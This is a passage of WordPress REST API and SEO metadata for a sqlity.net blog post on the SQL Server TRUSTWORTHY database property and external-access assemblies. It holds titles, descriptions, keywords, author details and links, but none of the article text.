stItem\",\"position\":2,\"name\":\"The TRUSTWORTHY Database Property Explained \u2013 Part 3\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/#website\",\"url\":\"https:\\\/\\\/sqlity.net\\\/en\\\/\",\"name\":\"sqlity.net\",\"description\":\"Quality for SQL\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/sqlity.net\\\/en\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/#\\\/schema\\\/person\\\/bcffd8c572bc2f1bd10fdba80135e53c\",\"name\":\"Sebastian Meine\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4ab0a6d02dd494849a584a2c3c8bc3bdcef1d0aa5f87e98bf905dbdb9ad2ce3a?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4ab0a6d02dd494849a584a2c3c8bc3bdcef1d0aa5f87e98bf905dbdb9ad2ce3a?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4ab0a6d02dd494849a584a2c3c8bc3bdcef1d0aa5f87e98bf905dbdb9ad2ce3a?s=96&d=mm&r=g\",\"caption\":\"Sebastian Meine\"},\"sameAs\":[\"http:\\\/\\\/sqlity.net\",\"https:\\\/\\\/x.com\\\/sqlity\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"The TRUSTWORTHY Database Property Explained \u2013 Part 3 - sqlity.net","description":"Even if you follow security best practices to minimize the risk when setting a database to TRUSTWORTHY, if you use it to allow assemblies external access you are opening up another security hole. Read on to learn more.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/","og_locale":"en_US","og_type":"article","og_title":"The TRUSTWORTHY Database Property Explained \u2013 Part 3 - sqlity.net","og_description":"Even if you follow security best practices to minimize the risk when setting a database to TRUSTWORTHY, if you use it to allow assemblies external access you are opening up another security hole. Read on to learn more.","og_url":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/","og_site_name":"sqlity.net","article_publisher":"https:\/\/www.facebook.com\/sqlity.net","article_published_time":"2013-06-25T14:00:25+00:00","article_modified_time":"2014-11-13T18:23:41+00:00","og_image":[{"url":"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Tokens_when_using_Context_Connection.jpg","type":"","width":"","height":""}],"author":"Sebastian Meine","twitter_card":"summary_large_image","twitter_creator":"@sqlity","twitter_site":"@sqlity","twitter_misc":{"Written by":"Sebastian Meine","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/#article","isPartOf":{"@id":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/"},"author":{"name":"Sebastian Meine","@id":"https:\/\/sqlity.net\/en\/#\/schema\/person\/bcffd8c572bc2f1bd10fdba80135e53c"},"headline":"The TRUSTWORTHY Database Property Explained \u2013 Part 3","datePublished":"2013-06-25T14:00:25+00:00","dateModified":"2014-11-13T18:23:41+00:00","mainEntityOfPage":{"@id":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/"},"wordCount":2095,"commentCount":0,"image":{"@id":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/#primaryimage"},"thumbnailUrl":"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Tokens_when_using_Context_Connection.jpg","keywords":["Assembly","Certificates","CLR","Connection String","Context Connection","database property","External Access","Hacking SQL Server","Permission","security","Security Tokens","SQL Server","trustworthy"],"articleSection":["General","Security","Trustworthy"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/","url":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/","name":"The TRUSTWORTHY Database Property Explained \u2013 Part 3 - sqlity.net","isPartOf":{"@id":"https:\/\/sqlity.net\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/#primaryimage"},"image":{"@id":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/#primaryimage"},"thumbnailUrl":"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Tokens_when_using_Context_Connection.jpg","datePublished":"2013-06-25T14:00:25+00:00","dateModified":"2014-11-13T18:23:41+00:00","author":{"@id":"https:\/\/sqlity.net\/en\/#\/schema\/person\/bcffd8c572bc2f1bd10fdba80135e53c"},"description":"Even if you follow security best practices to minimize the risk when setting a database to TRUSTWORTHY, if you use it to allow assemblies external access you are opening up another security hole. Read on to learn more.","breadcrumb":{"@id":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/#primaryimage","url":"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Tokens_when_using_Context_Connection.jpg","contentUrl":"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Tokens_when_using_Context_Connection.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/sqlity.net\/en\/"},{"@type":"ListItem","position":2,"name":"The TRUSTWORTHY Database Property Explained \u2013 Part 3"}]},{"@type":"WebSite","@id":"https:\/\/sqlity.net\/en\/#website","url":"https:\/\/sqlity.net\/en\/","name":"sqlity.net","description":"Quality for SQL","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/sqlity.net\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/sqlity.net\/en\/#\/schema\/person\/bcffd8c572bc2f1bd10fdba80135e53c","name":"Sebastian Meine","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4ab0a6d02dd494849a584a2c3c8bc3bdcef1d0aa5f87e98bf905dbdb9ad2ce3a?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4ab0a6d02dd494849a584a2c3c8bc3bdcef1d0aa5f87e98bf905dbdb9ad2ce3a?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4ab0a6d02dd494849a584a2c3c8bc3bdcef1d0aa5f87e98bf905dbdb9ad2ce3a?s=96&d=mm&r=g","caption":"Sebastian Meine"},"sameAs":["http:\/\/sqlity.net","https:\/\/x.com\/sqlity"]}]}},"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p2wXuw-rA","jetpack-related-posts":[],"_links":{"self":[{"href":"https:\/\/sqlity.net\/en\/wp-json\/wp\/v2\/posts\/1710","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sqlity.net\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sqlity.net\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sqlity.net\/en\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/sqlity.net\/en\/wp-json\/wp\/v2\/comments?post=1710"}],"version-history":[{"count":0,"href":"https:\/\/sqlity.net\/en\/wp-json\/wp\/v2\/posts\/1710\/revisions"}],"wp:attachment":[{"href":"https:\/\/sqlity.net\/en\/wp-json\/wp\/v2\/media?parent=1710"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sqlity.net\/en\/wp-json\/wp\/v2\/categories?post=1710"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sqlity.net\/en\/wp-json\/wp\/v2\/tags?post=1710"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}